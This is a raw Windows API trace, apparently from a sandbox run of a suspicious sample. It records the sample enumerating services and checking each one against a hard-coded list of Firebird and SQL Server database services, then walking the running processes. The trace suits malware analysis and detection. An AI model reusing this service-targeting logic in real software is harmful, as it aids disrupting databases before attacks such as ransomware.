	[0202.461] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0202.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0202.462] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0202.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0202.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0202.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0202.462] lstrlenW (lpString="CryptSvc") returned 8
	[0202.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0202.462] lstrlenW (lpString="DcomLaunch") returned 10
	[0202.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0202.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0202.462] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0202.462] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0202.462] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0202.462] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0202.462] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0202.463] lstrlenW (lpString="Dhcp") returned 4
	[0202.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0202.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0202.463] lstrlenW (lpString="Dnscache") returned 8
	[0202.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0202.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0202.463] lstrlenW (lpString="DPS") returned 3
	[0202.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0202.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0202.463] lstrlenW (lpString="DusmSvc") returned 7
	[0202.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0202.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0202.463] lstrlenW (lpString="EventLog") returned 8
	[0202.463] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0202.463] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0202.463] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0202.463] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0202.463] lstrlenW (lpString="EventSystem") returned 11
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0202.464] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0202.464] lstrlenW (lpString="FontCache") returned 9
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0202.464] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0202.464] lstrlenW (lpString="gpsvc") returned 5
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0202.464] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0202.464] lstrlenW (lpString="iphlpsvc") returned 8
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0202.464] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0202.464] lstrlenW (lpString="KeyIso") returned 6
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0202.464] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0202.464] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0202.464] lstrlenW (lpString="LanmanServer") returned 12
	[0202.464] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0202.464] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0202.464] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0202.465] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0202.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0202.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0202.465] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0202.465] lstrlenW (lpString="lfsvc") returned 5
	[0202.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0202.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0202.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0202.465] lstrlenW (lpString="lmhosts") returned 7
	[0202.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0202.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0202.465] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0202.465] lstrlenW (lpString="LSM") returned 3
	[0202.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0202.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0202.465] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0202.465] lstrlenW (lpString="MpsSvc") returned 6
	[0202.465] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0202.465] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0202.465] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0202.465] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0202.465] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0202.466] lstrlenW (lpString="NcbService") returned 10
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0202.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0202.466] lstrlenW (lpString="netprofm") returned 8
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0202.466] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0202.466] lstrlenW (lpString="NgcSvc") returned 6
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0202.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0202.466] lstrlenW (lpString="NlaSvc") returned 6
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0202.466] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0202.466] lstrlenW (lpString="nsi") returned 3
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0202.466] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0202.466] lstrlenW (lpString="PcaSvc") returned 6
	[0202.466] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0202.466] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0202.467] lstrlenW (lpString="PlugPlay") returned 8
	[0202.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0202.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0202.467] lstrlenW (lpString="Power") returned 5
	[0202.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0202.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0202.467] lstrlenW (lpString="ProfSvc") returned 7
	[0202.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0202.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0202.467] lstrlenW (lpString="RpcEptMapper") returned 12
	[0202.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0202.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0202.467] lstrlenW (lpString="RpcSs") returned 5
	[0202.467] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0202.467] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0202.467] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0202.467] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0202.467] lstrlenW (lpString="SamSs") returned 5
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0202.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0202.468] lstrlenW (lpString="Schedule") returned 8
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0202.468] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0202.468] lstrlenW (lpString="SecurityHealthService") returned 21
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0202.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0202.468] lstrlenW (lpString="SENS") returned 4
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0202.468] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0202.468] lstrlenW (lpString="ShellHWDetection") returned 16
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0202.468] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0202.468] lstrlenW (lpString="Spooler") returned 7
	[0202.468] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0202.468] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0202.468] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0202.469] lstrlenW (lpString="StateRepository") returned 15
	[0202.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0202.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0202.469] lstrlenW (lpString="SysMain") returned 7
	[0202.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0202.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0202.469] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0202.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0202.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0202.469] lstrlenW (lpString="Themes") returned 6
	[0202.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0202.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0202.469] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0202.469] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0202.469] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0202.469] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0202.469] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0202.470] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2cc
	[0202.475] Process32FirstW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0202.475] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0202.476] lstrlenW (lpString="System") returned 6
	[0202.476] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0202.476] lstrlenW (lpString="smss.exe") returned 8
	[0202.476] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0202.477] lstrlenW (lpString="csrss.exe") returned 9
	[0202.477] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0202.594] lstrlenW (lpString="wininit.exe") returned 11
	[0202.594] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0202.595] lstrlenW (lpString="csrss.exe") returned 9
	[0202.595] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0202.596] lstrlenW (lpString="winlogon.exe") returned 12
	[0202.596] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0202.596] lstrlenW (lpString="services.exe") returned 12
	[0202.596] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0202.597] lstrlenW (lpString="lsass.exe") returned 9
	[0202.597] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0202.597] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0202.597] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0202.598] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0202.598] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.598] lstrlenW (lpString="svchost.exe") returned 11
	[0202.598] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.599] lstrlenW (lpString="svchost.exe") returned 11
	[0202.599] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0202.599] lstrlenW (lpString="dwm.exe") returned 7
	[0202.600] Process32NextW (in: hSnapshot=0x2cc, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0202.600] lstrlenW (lpString="svchost.exe") returned 11
